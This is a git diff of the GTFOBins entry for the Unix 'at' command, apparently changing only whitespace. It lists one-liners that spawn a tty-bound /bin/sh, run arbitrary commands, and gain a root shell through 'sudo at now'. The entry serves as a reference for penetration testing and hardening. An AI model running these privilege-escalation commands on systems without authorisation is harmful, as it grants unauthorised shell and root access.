diff --git a/_gtfobins/at.md b/_gtfobins/at.md index 19076d4..958cb6e 100644 --- a/_gtfobins/at.md +++ b/_gtfobins/at.md @@ -1,14 +1,14 @@ ---- -functions: - shell: - - code: | - echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null - command: - - description: The invocation will be blind, but it is possible to redirect the output to a file in a readable location. - code: | - COMMAND=id - echo "$COMMAND" | at now - sudo: - - code: | - echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | sudo at now; tail -f /dev/null ---- +--- +functions: + shell: + - code: | + echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null + command: + - description: The invocation will be blind, but it is possible to redirect the output to a file in a readable location. + code: | + COMMAND=id + echo "$COMMAND" | at now + sudo: + - code: | + echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | sudo at now; tail -f /dev/null +---